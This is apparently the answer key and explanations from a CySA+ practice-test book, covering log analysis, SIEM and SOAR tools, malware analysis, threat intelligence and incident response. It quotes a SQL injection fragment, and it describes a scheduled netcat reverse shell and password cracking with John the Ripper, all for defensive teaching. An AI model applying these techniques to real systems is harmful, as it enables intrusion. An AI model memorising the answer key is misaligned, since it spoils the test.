C. The most common solution to identifying malicious embedded links in email is to use an antimalware software package to scan all emails. They typically include tools that combine IP and domain reputation lists as well as other heuristic and analytical tools to help identify malicious and unwanted links.

A. Automated malware analysis tools use a secure and instrumented sandbox environment to unpack and run malware so that they can observe and record actions taken by the malware. This is used to perform behavioral analysis as well as to generate file fingerprints and other elements of unique malware signatures.

B. Large data flows leaving an organization's network may be a sign of data exfiltration by an advanced persistent threat. Using HTTPS to protect the data while making it look less suspicious is a common technique.

B. Repeated failures from the same host likely indicate a brute-force attack against the root account.

C. Fortunately, the sshd service has a configuration setting called PermitRootLogin. Setting it to no will accomplish Singh's goal.

A. The at command can be used to schedule Windows tasks. This task starts netcat as a reverse shell using cmd.exe via port 443 every Friday at 8:30 p.m. local time. Azra should be concerned, as this allows traffic in that otherwise might be blocked.

C. This output shows a brute-force attack run against the localhost's root account using SSH. This resulted in the root user attempting to reauthenticate too many times, and PAM has blocked the retries. Fail2ban is not set up for this service; thus, this is the one item that has not occurred. If it was enabled, the Fail2ban log would read something like 2019-07-11 12:00:00,111 fail2ban.actions: WARNING [ssh] Ban 127.0.0.1.

B. NAC solutions that implement employee job function-based criteria often use time-based controls to ensure that employees only have access when they are supposed to be working, role-based criteria due to their duties, and location-based rules to ensure that they only access networks where they work. Rule-based criteria typically focus on system health and configuration, thus focusing more on the computer or software than the user.

C. The best option for Naomi is a dedicated sandbox tool like Sandboxie or a cloud service sandbox like app.run.any. They are designed to isolate the malware while providing instrumentation to capture and analyze the results of the malware execution. Manually building a virtualization environment is a possibility but requires a lot of work to instrument and build tools to analyze the malware. A containerization tool is best suited to app deployment, and a packet analyzer is useful for looking at network traffic.

B. The - l flag is a key hint here, indicating that netcat was set up as a listener. Any connection to port 43501 will result in example.zip being sent to the connecting application. Typically, a malicious user would then connect to that port using netcat from a remote system to download the file.

C. TCP port 3389 is the standard Microsoft Remote Desktop Protocol (RDP) port. This query would return all matches for source and destination names for all network events where the destination port was 3389—most likely a system with an accessible RDP service.

D. Security checks are important at all the points listed in the question. After code is checked into a repository it can be checked using static code analysis tools. Code will then be tested in an automated test environment where it can be fuzz-tested, checked to make sure it is properly hardened, and tested in ways that a production environment might not risk. Finally, production environments can be monitored and penetration tested.

A. Windows 10 Pro and Enterprise supports application whitelisting. Lukas can whitelist his allowed programs, then set the default mode to Disallowed, preventing all other applications from running and thus blacklisting the application. This can be a bit of a maintenance hassle but can be useful for high-security environments, or those in which limiting what programs can run is critical.

C. This shows an attempted SQL injection attack. The query reads 1' UNION SELECT 0, and then looks for username, user_id, password, and email from the users table.

B. A network packet and protocol analyzer like Wireshark can allow Jason to view the network activity that the worm takes, and thus to analyze its behavior. A disassembler will allow him to take apart the application binary to view the code behind it, whereas a debugger would allow him to manipulate the program as it is running. Finally, a PE viewer can help with things like dependency viewing for Windows binaries.

D. The flags -n -i -v mean that the search will list the line numbers for each occurrence where the word mike does not appear. In fact, the -v flag reverses the usual search to make this search for places where the term does not show up. Using an * for the filename will match all files in the current directory.

C. Remember that rights are read from left to right as user rights, group rights, then world rights. Here we have read, write, and execute ( rwx) for chuck, rw for admingroup, and r for world.

C. Attackers often use built-in editing tools that are inadvertently or purposefully exposed to edit files to inject malicious code. In this case, someone has attempted to modify the 404 file displayed by WordPress. Anybody who received a 404 error from this installation could have been exposed to malicious code inserted into the 404 page, or simply a defaced 404 page.

B. A SOAR (Security Orchestration, Automation, and Response) tool is focused on exactly what Melissa needs to do. While SIEM provides similar functionality, the key differentiator is the breadth of the platforms that SOAR tools can acquire data from, as well as the process automation capabilities they bring. UEBA (user entity behavior analytics) tools focus on behaviors rather than on a broad set of organizational data, and MDR (managed detection response) systems are used to speed up detection, rather than for compliance and orchestration.

C. Monica issued a command that only stops a running service. It will restart at reboot unless the scripts that start it are disabled. On modern Ubuntu systems, that is handled by upstart. Other services may use init.d scripts. In either case, when asked a question like this, you can quickly identify this as a problem that occurred at reboot, and remove the answer that isn't likely to be correct.

B. Intrusion prevention systems are placed in-line between networks or systems so that they can interact with traffic, giving them the ability to block attacks that they detect. This can also be dangerous, since a misconfigured IPS, an IPS that experiences a hardware or software failure, or an IPS with a false positive detection can prevent legitimate traffic from flowing. Both IDSs and IPSs can detect the same attacks, and both can use heuristic as well as signature-based attacks if they are capable of doing so.

B. Encapsulating Security Payload (ESP) packets are part of the IPsec protocol suite and are typically associated with a tunnel or VPN. Ryan should check for a VPN application and determine what service or system the user may have connected to.

A. Bohai can see that no invalid logins occurred and that someone logged in as the user after business hours. This means that the account has likely been compromised and that he should investigate how the password was lost. (In many cases, Bohai needs to ask the VP of Finance about bad password habits like writing it down or using a simple password.)

C. Although some blacklists use entire IP ranges, changing IP addresses for SMTP servers is often a valid quick fix. Some organizations even discover that one server has been blacklisted and others in their cluster have not been. Migrating to a cloud provider or working with the blacklisting organizations can also help, and online validation tools can help Wang quickly check which lists her organization is on. Changing SMTP headers won't help.

A. A desktop application that does not normally provide remote access opening a service port is an example of anomalous behavior. If a web server opened TCP/80 or TCP/443 it would be expected behavior and is likely to be known good behavior. Entity and heuristic behavior were both made up for this question.

B. Large data flows leaving an organization's network may be a sign of data exfiltration by an advanced persistent threat (APT). Using HTTPS to protect the data while making it look less suspicious is a common technique.

B. Data enrichment combines data from multiple sources like directories, geolocation information, and other data sources as well as threat feeds to provide deeper and broader security insights. It is not just a form of threat feed combination, and threat feed combination is a narrower technique than data enrichment is.

D. DNS blackholing uses a list of known malicious domains or IP addresses and relies on listing the domains on an internal DNS server, which provides a fake reply. Route poisoning prevents networks from sending data to a destination that is invalid. Routers do not typically have an antimalware filter feature, and subdomain whitelisting was made up for this question.

C. When endpoints are connected without a network control point between them, a host-based solution is required. In this case, Lucca's specific requirement is to prevent attacks, rather than simply detect them, meaning that a host intrusion prevention system (HIPS) is required to meet his needs. Many modern products combine HIPS capabilities with other features like data loss prevention (DLP) and system compliance profiling, so Lucca may end up with additional useful capabilities if he selects a product with those features.

C. Best practice for most network devices is to put their administrative interfaces on a protected network. Many organizations then require administrators to connect via a jump box, adding another layer of protection. Preventing console access is typically not desirable in case changes need to be made and a GUI is not available. Login-block can help, but will only slow down attacks and will not prevent them.

C. Random or deterministic sampling can help Sam's team capture usable flows despite not being able to handle the full throughput of their network. Random sampling will capture a random packet out of every n packets, with n set by the user. Deterministic sampling simply takes every nth packet that passes through. So Sam might sample the 1st, 11th, 21st, and so on. This means that small flows may be missed, but in this case, sampling half of all packets is still possible, meaning most flows will still be captured.

B. Alice can use trend analysis to help her determine what attacks are most likely to target her organization, and then take action based on the trends that are identified.

B. Security information and event management (SIEM) systems typically provide alerting, event and log correlation, compliance data gathering and reporting, data and log aggregation, and data retention capabilities. This also means that they can be used for forensic analysis since they should be designed to provide a secure copy of data. They do not typically provide performance management specific capabilities.

B. Tripwire and similar programs are designed to monitor files for changes and to report on changes that occur. They rely on file fingerprints (hashes) and are designed to be reliable and scalable. Kathleen's best bet is to use a tool designed for the job, rather than to try to write her own.

B. Heuristic detection methods run the potential malware application and track what occurs. This can allow the antimalware tool to determine if the behaviors and actions of the program match those common to malware, even if the file does not match the fingerprint of known malware packages.

A. In this case, if the user is logged in to administrative systems, privileged account usage would be the most useful additional detail that Alaina could have available. Time-based login information might also prove useful, but a traveling administrative user might simply be in another time zone. Mobile device profile changes and DNS request anomalies are less likely to be correlated with a remote exploit and more likely to be correlated with a compromise of a user device or malware respectively. Rank Software provides a great threat hunting playbook at cdn2.hubspot.net/hubfs/2539398/Rank%20Software_Threat%20Hunting%20Playbook.pdf that may prove useful to you as you consider these threats.

B. Firewall logs typically contain similar information that are contained in NetFlow records. However, the firewall does not always have the same access to network traffic as the switches and routers that generate NetFlow information. Though not a complete substitute, firewall logs do offer a good compensating control for the lack of NetFlow records. Routers and switches do not typically record traffic records in their standard logs—this is the function of NetFlow, which is unavailable on this network. Intrusion prevention systems (IPSs) do not record routine traffic information.

A. macOS has a built-in memory monitoring tool as part of the Activity Monitor. It will show you details, including how much memory the system has, what is used by applications and the operating system, how much space is taken up by cached files to improve system performance, how much space is used on your disk for swap space, and how efficiently your memory is being used in the form of a statistic called memory pressure.

D. Endpoint security suites typically include host firewalls, host intrusion prevention systems (IPSs), and antimalware software. Virtual private network (VPN) technology is normally a core component of the operating system or uses software provided by the VPN vendor.

B. Vulnerability scanning would not serve as a compensating control because it would only detect, rather than correct, security flaws. There is no indication that encryption is not in place on this server or that it would address a SQL injection vulnerability. Both an intrusion prevention system (IPS) and a web application firewall (WAF) have the ability to serve as a compensating control and block malicious requests. Of the two, a WAF would be the best solution in this case because it is purpose-built for protecting against the exploitation of web application vulnerabilities.

C. The first entry in the log indicates that the user authenticated from the system 10.174.238.88.

C. The second log entry indicates that the sshd daemon handled the connection. This daemon supports the Secure Shell (SSH) protocol.

B. The first log entry indicates that the user made use of public key encryption (PKI) to authenticate the connection. The user, therefore, possessed the private key that corresponded to a public key stored on the server and associated with the user.

B. The identity of the user making the connection appears in the first log entry: accepted publickey for ec2-user. The third log entry that contains the string USER=root is recording the fact that the user issued the sudo command to create an interactive bash shell with administrative privileges. This is not the account used to create the server connection. The pam_unix entry indicates that the session was authenticated using the pluggable authentication module (PAM) facility.

B. Network flows can be used to identify traffic patterns between systems that are atypical or which connect to systems that are known malware or malicious sites. Using his SIEM, Lucca can look for top talkers, behavior or trend-based anomalies, or other correlations that point to an issue.

C. This flow sample shows four distinct hosts being accessed from 192.168.2.1. They are 10.2.3.1, 10.6.2.4, 10.6.2.5, and 10.8.2.5.

C. Forming a hypothesis should be Fiona's next step. Once she starts to consider a scenario, she needs to identify the target and likely adversary techniques, and determine how she would verify the hypothesis.

B. In STIX, these are all attack resource levels ranging from individuals all the way to government-level resources. When you encounter a question like this, you should eliminate the answers that can be easily removed like certification level and threat name. After that, think about what the goals are for profiling threat actors. In this case, attack resource level makes sense as part of a capability description.

B. Awareness campaigns are among the most effective ways to counter spear phishing. A well-resourced APT organization will send email from legitimate email addresses, thus bypassing most DKIM and SPF defenses. Blocking email from all unknown senders is not acceptable to most organizations.

D. Artificial intelligence (AI) and machine learning (ML)-based approaches are ideal for large volumes of log and analytical data. Manual processes like hypothesis-driven investigations, or IOC- or IOA-driven investigations, can take significant amounts of time when dealing with large volumes of data.

D. Dani needs to carefully consider what could occur while she is analyzing the malware. Once it is allowed to connect to one or more remote systems, she needs to be aware that it may result in behavior changes, probes, or attacks by the attacker, or it could attack other systems once it has a network connection and can receive commands.

C. You may not remember every common TCP port, but you'll want to make sure you have a good command of a few of them, including things like the LPR (515), IPP (631), and RAW (9100) ports common to many printers. Since these ports need to be open for printing services, the best option would be to move them to a protected subnet or IP range. RFC 1918 nonroutable IP addresses are often used for this purpose, but James may want to look into why devices like this are exposed to the Internet. He may have a deeper problem!

B. Bundling critical assets into groups allows similar assets to be assessed together, leveraging the similarity of their threat profiles. This makes analysis less complex, rather than more complex. Assets should be grouped by similar sensitivity levels, rather than mixed. Threats are assessed against other threats for comparison purposes, and bundling assets will not provide a baseline for them.

C. There are many indicators of compromise, including the ones listed in this question, as well as things like anomalies in privileged account usage, abnormal database requests and traffic patterns, geographical and time-based anomalies in usage patterns, unexpected and abnormal traffic growth, and many others. SCAP is an automation protocol, and both threat answers are not a good fit for this list, although threat hunting and threat feeds may include details such as the type of traffic or attack information.

B. Services, input fields, protocols, APIs, and other potential targets are all examples of attack vectors. Threats are possible dangers that might exploit a vulnerability, and risks are the exposure to loss or harm that results from breaches or attacks. Surface tension is a term from physics, not cybersecurity.

C. STIX and TAXII together are key elements of many integrated intelligence platforms because they offer an open standard for describing and transferring threat intelligence data. The term that the CySA+ exam objectives use for this concept is integrated intelligence. Combining sources of threat intelligence into a single platform or model is an important concept, as different threat feeds may have different biases, access to information that others do not, or other advantages or disadvantages that you may want to leverage or work around. Thus, using integrated intelligence should be part of your threat intelligence process.

B. Since Naomi is specifically concerned about an end-user driven threat in the form of insider threats, a UEBA (user entity behavior analytics) tool is her best option from the list. A UEBA system will monitor for behaviors that are atypical for users such as those that an insider threat may take. An intrusion detection system would detect anomalous network activity and attacks, whereas both SOAR and SIEM systems would be useful for centralizing data from tools like the UEBA and IDS tools.

D. Ling can use her SOAR system to analyze all of the common indicator of phishing emails, including subject line content, sender addresses, attachments, and headers. From there, her SOAR system can assign a severity value to the email and take appropriate action, such as testing attachments in an isolated environment, or removing phishing emails from mailboxes across her organization.

C. The only consistent indicator for this bot in the list is the IP address. Isaac should write his script to validate the IP addresses of systems to see if they should be blacklisted.

B. SOAR systems offer many ways to ingest data, and syslog, APIs, email, STIX/TAXII feeds, and database connections are all common ways for data to be acquired.

B. Automated malware signature creation is necessary because of the massive number of new malware packages, variants, and thus new signatures that are created daily. The BASS overview from 2017 when BASS was created noted that there were 9,500 new signatures daily, and this issue has only gotten worse.

D. The CySA+ Exam Outline refers to this process as data enrichment. Data enrichment can take many forms, but the basic concept is that adding and correlating multiple data sources provides a richer, more useful data environment. As you might have guessed, the remainder of the options for this question were made up.

C. Data in use is the term most commonly used to describe data that a user is currently using or interacting with. Data at rest describes data that is in storage or archived. Data in motion is data that is moving through a network to an endpoint. Data execution was made up for this question.

B. The question's description includes details about the use of the startup Registry entry for Common Startup and lists a Registry key. This means that the Reaver malware as described maintains persistence by using a Registry key.

C. Machine learning in systems like this relies on datasets to build profiles of behavior that it then uses to identify abnormal behavior. They also use behavioral data that is frequently associated with attacks and malware, and use that to compare to the user behavior patterns. Signature-based analysis uses hashing or other related techniques to verify if files match a known malware package. The Babbage machine is a mechanical computer, and artificial network analysis was made up for this question.

C. Although SIEM and SOAR systems often have similar functionality, SOAR systems are typically designed to work with a broader range of internal and external systems, including threat intelligence feeds and other data sources, and then assist with automation of responses.

C. The National Vulnerability Database uses the Security Content Automation Protocol (SCAP) to represent vulnerability management data. STIX is a structured language used to describe cyberthreat information. CVSS (Common Vulnerability Scoring System) and CPE (Common Platform Enumeration) are both used to help feed the SCAP data.

C. Continuous integration helps developers integrate their code into the mainline code base frequently. Although automated testing isn't always a part of continuous integration, it is a useful part of a complete continuous integration (CI)/continuous delivery (CD) pipeline. Continuous delivery is aimed at making your code pipeline deployable at any time by using automated testing and automated configuration. Some organizations then automatically push the changes into production. Both repo-stuffing and time coding were made up for this question.

B. A single analyst working alone is likely to have limitation to their knowledge, experience, and their own experiential biases. Thus, Fiona should review her hypotheses for her own natural biases and may want to involve other analysts or experts to help control for them.

D. According to the STIX 2.0 taxonomy (docs.oasis-open.org/cti/stix/v2.0/csprd02/part1-stix-core/stix-v2.0-csprd02-part1-stix-core.html#_Toc482357275), state actors like those that are responsible for APT-level attacks are classified as strategic. Experts are skilled and may create their own tools but are not operating at the massive scale of an APT actor.

C. STIX (Structured Threat Information Expression Language) was developed for exactly this purpose. It is intended to be shared by the TAXII (Trusted Automated Exchange of Intelligence Information) protocol, via a hub-and-spoke, source/subscriber, or peer-to-peer distribution model. OAuth is used for access delegation, and STONES was made up for this question.

C. Alaina's best option is to delete emails with these URLs from all inbound email. Blocking or monitoring for the IP addresses can help, but mobile and off-site users will not be protected if they do not send their traffic through her firewall or IDSs.

A. A DNS sinkhole exactly meets Rowan's needs. It can redirect traffic intended for malicious sites and botnet controllers to a landing page, which warns the end user that something went wrong.

B. Domain generation algorithms (DGAs) automatically generate domains using an algorithm driven by the time of day, cryptographic keys, or other information that the algorithm can use to identify domain names it should connect to. DGAs will generate a large number of names, and malware authors then only need to use a small subset, making the control hosts hard to find, whereas defenders must identify or block all the generated hosts.

D. TCP port 22 is commonly used for SSH traffic. If you haven't learned the common ports, you should review them before taking the CySA+ exam.

A. Static code analysis requires access to the source code, meaning that the SAST tool will need to be compatible with all the languages that Michelle needs to have tested. Binary output language was made up for this question, while options C and D both refer to dynamic testing because the application would be run in both options.

B. Signature-based detections must match the defined signature used by the IPS. Some IPSs can use heuristic (behavior)-based detection techniques; however, Nina has not used this in her setup, so new attacks with dangerous behaviors will not be detected.

B. A NetFlow or sFlow implementation can provide Nathan with the data that he needs. Flows show the source, destination, type of traffic, and amount of traffic, and if he collects flow information from the correct locations on his network, he will have the ability to see which systems are sending the most traffic and will also have a general idea of what the traffic is. A sniffer requires more resources, whereas SDWAN is a software-defined wide area network, which might provide some visibility but does not necessarily meet his needs. Finally, a network tap is used to capture data, but a tap alone does not analyze or provide this information.

B. It may be tempting to answer “no impact” but the better answer here is “no impact to services.” The system will still require remediation, which will consume staff time, so there will not be a total lack of impact.

D. The service is noncritical because it can be used to conduct business as usual after it is restored without a meaningful business impact due to the outage. During the outage, however, this is a denial of a noncritical service.

D. Discovering an APT in your administrative systems typically indicates that you have lost control of your environment.

C. The Transport Layer Security entry shows 20.3 percent of the traffic was sent over TLS. Although this may not all be encrypted web traffic, the likely answer is that the majority of it is.

B. A binary file is downloaded from 49.51.172.56, as shown by the GET command for nCvQOQHCBjZFfiJvyVGA/yrkbdmt.bin. Annie should mark this as an indicator of compromise (IOC) and look for other traffic to or from this host, as well as what the workstation or system it is downloaded to does next.

A. Annie's best option is to conduct an antimalware scan with a tool capable of detecting the Dridex malware. Since most malware command and control systems have multiple control nodes, simply blocking traffic to or from the system might be helpful, but it is unlikely to stop the infection from carrying out the bank credential theft that Dridex is known for.

B. Steve could use Wireshark to capture the download traffic and to observe what host the file was downloaded from. Antimalware tools typically remove the malware but do not provide detailed visibility into its actions. An IPS can detect attacks but would need specific rules to detect the actions taken. Network flows will show where the traffic went but will not provide detailed specifics like a packet capture tool would.

B. A relatively common issue during log reviews is incorrect or mismatched time zone settings. Many organizations that operate in more than one time zone use UTC (Universal Time Coordinated) to avoid having to do time zone corrections when comparing logs. In this case, Abdul should check the server that is recording the events at 6 p.m. to see if it is set to the wrong time zone or otherwise is misconfigured to have the wrong system time.

D. Anonymous and other politically motivated groups are typically classified as hacktivists because their attacks are motivated for political or other activist reasons.

D. Human safety and human lives are always the most critical system or resource. Here, safety systems should receive the highest rating, and in the US-CERT NCISS demo, they receive 100/100 points on the scale.

D. All of these are common validation targets for agent-based NAC systems. Systems that do not meet the required update levels will often be placed in a quarantine network or may not be allowed to connect to the network.

C. Port security relies on MAC addresses to allow or reject systems that are plugged into network ports that it is used on.

B. Data loss prevention (DLP) systems use business rules that define when and how data is allowed to move around an organization, as well as how it should be classified. Data at rest is data that not moving, and the remaining options were made up for this question.

C. Although some circumstances may require Jana to build a custom detection, commercial IPS vendors work hard to provide signatures for new threats. If she can, she should use the signature from her vendor. If she builds a detection based only on a proof of concept, she may only detect the POC. Blocking all traffic to the web servers is unlikely to be acceptable to the business, and researching and building a custom rule can take quite a while, especially if she does not have access to the exploit detail she needs to write it.

B. Zhi should put her network flow collector at point B. This will prevent it from collecting information about traffic that the firewall would block but will show all flows that are headed out of or into the network. Both points C and D will capture information only from their respective network segments.

B. Endpoint detection and response (EDR) tools are integrated security solutions that monitor endpoint systems and collect activity data, and then use threat intelligence and behavioral to automatically respond by removing or quarantining potential threats. EDR tools can also be helpful for forensic analysis and incident response. An IPS would be useful for monitoring network traffic, a CRM is a customer relationship management tool, and a UEBA would capture user behavior but does not have the same threat intelligence and response capabilities that an EDR has.

B. Using numeric rights syntax, a 7 stands for read+write+execute, 4 stands for read, 2 stands for write, and 1 stands for execute, with 0 standing for no permissions. Adding the numbers together can tell you what permission you are giving. Here, Benita has set it to retain her personal full access to the file and has given read to groups and all. She could have also simply set it to 704, but we didn't have that option listed.

C. Although you can build an isolated sandbox or VM, the safest way to analyze malware is to analyze the source code rather than running it. Thus, static analysis is the safest answer, but it may not be as useful as dynamic analysis where you can capture what the malware does as it happens. Static analysis can also be significantly slower because of the effort required to disassemble the code and reverse-engineer what it is doing.

B. A cloud access security broker (CASB) is the ideal tool to increase Tom's visibility into cloud services. CASB tools are specifically designed to monitor for cloud access patterns and to ensure that unwanted activity does not occur.

C. A workflow orchestration tool is designed to automatically configure, manage, and otherwise oversee systems, applications, and services. Scripts can be used to do this but can be overly complex and failure prone. APIs are used to send and receive data from applications or programs. SCAP (Security Content Automation Protocol) isn't used for this type of task.

D. TAXII's standardized format and built-in mechanisms for securing and protecting data mean that it can speed up data exchange while providing a standard format for data and thus easy interoperability.

D. Continuous delivery (or continuous deployment) environments sometimes use a blue/green deployment model, where one side is live and the other side is nearly identical but receives the next set of code updates. Traffic is then switched over to the new code while leaving the functional previous version in place. If something goes wrong, a switchback is easy to perform.

B. Heuristic analysis has been an important part of modern antimalware suites because it can identify polymorphic malware packages that change their signature. Since heuristic tools look for behaviors rather than fingerprints, they can continue to detect how the malware behaves. Fagan code analysis is a formal code review process. Machine learning and AI may be used by heuristic tools, but there is nothing in this question that specifies either.

B. This is an ideal use of machine learning; in fact, VMware uses machine learning in their VMware Service Defined Firewall to analyze extremely large volumes of application data to build profiles for known-good behavior for applications. Once a baseline is generated, security policies are written that ensure that anomalous behavior is blocked. Trend analysis is not useful for specific application details, manual analysis would involve the staff member Isaac was trying to avoid, and endpoint analysis is vague and undefined in this context.

D. Windows filesystem auditing does not provide the ability to detect if files were changed. Forensic artifacts can indicate that a file was opened and identify the program that opened it. However, unlike tools such as Tripwire that track file hashes and thus can identify modifications, Windows file auditing cannot provide this detail.

A. URL analysis of domain generation algorithm–created uniform resource locators (URLs) relies on either testing URLs via WHOIS lookups and NXDOMAIN responses, or machine learning techniques, which recognize patterns common to DGA-generated URLs. Natural language processing focuses on understanding natural language data, but DGAs do not rely on natural language style URLs in most cases.

A. During an event, incident responders often have to pay more attention to the immediate impact to triage and prioritize remediation. Once systems are back online and the business is operating, total impact can be assessed and should be included in the report and considered in new controls and practices from the lessons learned analysis of the event.

C. The SIEM dashboard is the first thing you see when you log in to almost any SIEM product. Configuring dashboards to provide the most relevant and useful information is an important activity for more SIEM operations staff. The reporting engine is useful for more in-depth detail and also typically helps feed the dashboard. Email reports can be useful to ensure regular delivery to users who may not have an account on the SIEM or for other purposes where an event-driven or schedule-driven report is useful. A SIEM ruleset defines what a SIEM does and when, but it isn't useful for a quick view.

C. In this scenario, the attacker may have been trying to find users who have typed credentials into a sudo command in a script. This will find all occurrences of the sudo command in all the /home/users subdirectories and will then feed that output to a search for bash.log, meaning that only occurrences of sudo inside of bash.log entries will be returned.

A. Munju can use an antimalware tool to scan all of her organization's inbound and outbound email if she operates her own email service. If she uses a third-party service like Office 365 or Gmail, antimalware scanning is a built-in part of the service. A hashing algorithm doesn't scan for malware. An IPS might detect malware if email is sent between servers in an unencrypted form but is not an efficient implementation of this type of protection, and a UEBA tool is focused on user entity behavior, not email antimalware scanning.

Answers to Chapter 4: Domain 4.0: Incident Response

B. Lucca only needs a verifiable MD5 hash to validate the files under most circumstances. This will let him verify that the file he downloaded matches the hash of the file that the vendor believes they are providing. There have been a number of compromises of vendor systems, such as open source projects that included distribution of malware that attackers inserted into the binaries or source code available for download, making this an important step when security is critical to an organization.

C. The amount of metadata included in photos varies based on the device used to take them, but GPS location, GPS timestamp-based time (and thus correct, rather than device native), and camera type can all potentially be found. Image files do not track how many times they have been copied!

A. Chris needs both the /etc/passwd and the /etc/shadow files for John the Ripper to crack the passwords. Although only hashes are stored, John the Ripper includes built-in brute-force tools that will crack the passwords.

B. The Sysinternals suite provides two tools for checking access, AccessEnum and AccessChk. AccessEnum is a GUI-based program that gives a full view of filesystem and registry settings and can display either files with permissions that are less restrictive than the parent or any files with permissions that differ from the parent. AccessChk is a command-line program that can check the rights a user or group has to resources.

A. John is not responding to an incident, so this is an example of proactive network segmentation. If he discovered a system that was causing issues, he might create a dedicated quarantine network or could isolate or remove the system.

C. NIST describes events like this as security incidents because they are a violation or imminent threat of violation of security policies and practices. An adverse event is any event with negative consequences, and an event is any observable occurrence on a system or network.

B. In most cases, the first detection type Mei should deploy is a rogue SSID detection capability. This will help her reduce the risk of users connecting to untrusted SSIDs. She may still want to conduct scans of APs that are using channels they should not be, and of course her network should either use network access controls or scan for rogue MAC addresses to prevent direct connection of rogue APs and other devices.

C. Dan's efforts are part of the preparation phase, which involves activities intended to limit the damage an attacker could cause.

B. Organizations that process credit cards work with acquiring banks to handle their card processing, rather than directly with the card providers. Notification to the bank is part of this type of response effort. Requiring notification of law enforcement is unlikely, and the card provider listing specifies only two of the major card vendors, none of which are specified in the question.

B. Linux provides a pair of useful ACL backup and restore commands: getfacl allows recursive backups of directories, including all permissions to a text file, and setfacl restores those permissions from the backup file. Both aclman and chbkup were made up for this question.

B. In cases where an advanced persistent threat (APT) has been present for an unknown period of time, backups should be assumed to be compromised. Since APTs often have tools that cannot be detected by normal anti-malware techniques, the best option that Manish has is to carefully rebuild the systems from the ground up and then ensure that they are fully patched and secured before returning them to service.

A. FileVault does allow trusted accounts to unlock the drive but not by changing the key. FileVault 2 keys can be recovered from memory for mounted volumes and much like BitLocker, it suggests that users record their recovery key, so Jessica may want to ask the user or search their office or materials if possible. Finally, FileVault keys can be recovered from iCloud, providing her with a third way to get access to the drive.

C. The series of connection attempts shown is most likely associated with a port scan. A series of failed connections to various services within a few seconds (or even minutes) is common for a port scan attempt. A denial-of-service attack will typically be focused on a single service, whereas an application that cannot connect will only be configured to point at one database service, not many. A misconfigured log source either would send the wrong log information or would not send logs at all in most cases.

D. Windows audits account creation by default. Frank can search for account creation events under event ID 4720 for modern Windows operating systems.

A. Purging requires complete removal of data, and cryptographic erase is the only option that will fully destroy the contents of a drive from this list. Reformatting will leave the original data in place, overwriting leaves the potential for file remnants in slack space, and repartitioning will also leave data intact in the new partitions.

B. Unless she already knows the protocol that a particular beacon uses, filtering out beacons by protocol may cause her to miss beaconing behavior. Attackers want to dodge common analytical tools and will use protocols that are less likely to attract attention. Filtering network traffic for beacons based on the intervals and frequency they are sent at, if the beacon persists over time, and removing known traffic are common means of filtering traffic to identify beacons.

C. Local scans often provide more information than remote scans because of network or host firewalls that block access to services. The second most likely answer is that Scott or Joanna used different settings when they scanned.

C. A general best practice when dealing with highly sensitive systems is to encrypt copies of the drives before they are sent to third parties. Adam should encrypt the drive image and provide both the hash of the image and the decryption key under separate cover (sent via a separate mechanism) to ensure that losing the drive itself does not expose the data. Once the image is in the third-party examiner's hands, they will be responsible for its security. Adam may want to check on what their agreement says about security.

B. A hardware write blocker can ensure that connecting or mounting the drive does not cause any changes to occur on the drive. Mika should create one or more forensic images of the original drive and then work with the copy or copies as needed. She may then opt to use forensic software, possibly including a software write blocker.

A. This form is a sample chain-of-custody form. It includes information about the case; copies of drives that were created; and who was in possession of drives, devices, and copies during the investigation.

C. The chmod command is used to change the permissions on a file. The head and tail commands are used to display the beginning and end of a file, respectively. The cat command is used to display an entire file.

B. SNMP, packet sniffing, and NetFlow are commonly used when monitoring bandwidth consumption. Portmon is an aging Windows tool used to monitor serial ports, not exactly the sort of tool you'd use to watch your network's bandwidth usage!

B. James can temporarily create an untrusted network segment and use a span port or tap to allow him to see traffic leaving the infected workstation. Using Wireshark or tcpdump, he can build a profile of the traffic it sends, helping him build a fingerprint of the beaconing behavior. Once he has this information, he can then use it in his recovery efforts to ensure that other systems are not similarly infected.

C. The output of lsof shows a connection from the local host (10.0.2.6) to remote.host.com via SSH. The listing for /bin/bash simply means that demo is using the bash shell. Fred hasn't found evidence of demo accessing other systems on his local network but might find the outbound SSH connection interesting.

B. Conducting a lessons learned review after using an incident response plan can help to identify improvements and to ensure that the plan is up-to-date and ready to handle new events.

B. If Kathleen's company uses a management system or inventory process to capture the MAC addresses of known organizationally owned systems, then a MAC address report from her routers and switches will show her devices that are connected that are not in inventory. She can then track down where the device is physically connected to the port on the router or switch to determine whether the device should be there.

C. When /var fills up, it is typically due to log files filling up all available space. The /var partition should be reviewed for log files that have grown to extreme size or that are not properly set to rotate.

D. Linux permissions are read numerically as “owner, group, other.” The numbers stand for read: 4, write: 2, and execute: 1. Thus, a 7 provides that person, group, or other with read, write, and execute. A 4 means read-only; a 5 means read and execute, without write; and so on. 777 provides the broadest set of permissions, and 000 provides the least.

C. Improper usage, which results from violations of an organization's acceptable use policies by authorized users, can be reduced by implementing a strong awareness program. This will help ensure users know what they are permitted to do and what is prohibited. Attrition attacks focus on brute-force methods of attacking services. Impersonation attacks include spoofing, man-in-the-middle attacks, and similar threats. Finally, web-based attacks focus on websites or web applications. Awareness may help with some specific web-based attacks like fake login sites, but many others would not be limited by Lauren's awareness efforts.

C. Incremental mode is John the Ripper's most powerful mode, as it will try all possible character combinations as defined by the settings you enter at the start. Single crack mode tries to use login names with various modifications and is very useful for initial testing. Wordlist uses a dictionary file along with mangling rules to test for common passwords. External mode relies on functions that are custom-written to generate passwords. External mode can be useful if your organization has custom password policies that you want to tweak the tool to use.

B. If business concerns override his ability to suspend the system, the best option that Lukas has is to copy the virtual disk files and then use a live memory imaging tool. This will give him the best forensic copy achievable under the circumstances. Snapshotting the system and booting it will result in a loss of live memory artifacts. Escalating may be possible in some circumstances, but the scenario specifies that the system must remain online. Finally, volatility can capture memory artifacts but is not designed to capture a full virtual machine.

B. Reassembling the system to match its original configuration can be important in forensic investigations. Color-coding each cable and port as a system is disassembled before moving helps to ensure proper reassembly. Mika should also have photos taken by the on-site investigators to match her reassembly work to the on-site configuration.

D. The Signal protocol is designed for secure end-to-end messaging, and using a distinct messaging tool for incident response can be helpful to ensure that staff separates incident communication from day-to-day operations. Text messaging is not secure. Email with TLS enabled is encrypted only between the workstation and email server and may be exposed in plain text at rest and between other servers. A Jabber server with TLS may be a reasonable solution but is less secure than a Signal-based application.

B. Selah should check the error log to determine what web page or file access resulted in 404 “not found” errors. The errors may indicate that a page is mislinked, but it may also indicate a scan occurring against her web server.

C. Since the drives are being returned at the end of a lease, you must assume that the contract does not allow them to be destroyed. This means that purging the drives, validating that the drives have been purged, and documenting the process to ensure that all drives are included are the appropriate actions. Clearing the drives leaves the possibility of data recovery, while purging, as defined by NIST SP 800-88, renders data recovery infeasible.

